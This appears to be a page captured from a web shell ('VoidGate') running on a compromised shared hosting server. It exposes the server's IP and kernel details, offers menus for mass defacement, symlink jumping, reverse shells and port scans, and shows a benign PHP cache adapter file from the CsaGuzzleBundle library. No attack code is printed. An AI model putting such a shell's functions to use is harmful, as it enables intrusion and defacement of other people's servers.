ヤミRoot VoidGate
User / IP
:
216.73.216.33
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
csa
/
guzzle-bundle
/
src
/
Cache
/
Viewing: PsrAdapter.php
<?php /* * This file is part of the CsaGuzzleBundle package * * (c) Charles Sarrazin <charles@sarraz.in> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code */ namespace Csa\Bundle\GuzzleBundle\Cache; use Csa\Bundle\GuzzleBundle\Cache\NamingStrategy\HashNamingStrategy; use GuzzleHttp\Psr7\Response; use Psr\Cache\CacheItemPoolInterface; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; class PsrAdapter implements StorageAdapterInterface { private $cache; private $namingStrategy; private $ttl; public function __construct(CacheItemPoolInterface $cache, $ttl = 0) { $this->cache = $cache; $this->namingStrategy = new HashNamingStrategy(); $this->ttl = $ttl; } /** * {@inheritdoc} */ public function fetch(RequestInterface $request) { $key = $this->namingStrategy->filename($request); $item = $this->cache->getItem($key); if ($item->isHit()) { $data = $item->get(); return new Response($data['status'], $data['headers'], $data['body'], $data['version'], $data['reason']); } } /** * {@inheritdoc} */ public function save(RequestInterface $request, ResponseInterface $response) { $key = $this->namingStrategy->filename($request); $item = $this->cache->getItem($key); $item->expiresAfter($this->ttl); $item->set([ 'status' => $response->getStatusCode(), 'headers' => $response->getHeaders(), 'body' => (string) $response->getBody(), 'version' => $response->getProtocolVersion(), 'reason' => $response->getReasonPhrase(), ]); $this->cache->save($item); $response->getBody()->seek(0); } }
Coded With 💗 by
0x6ick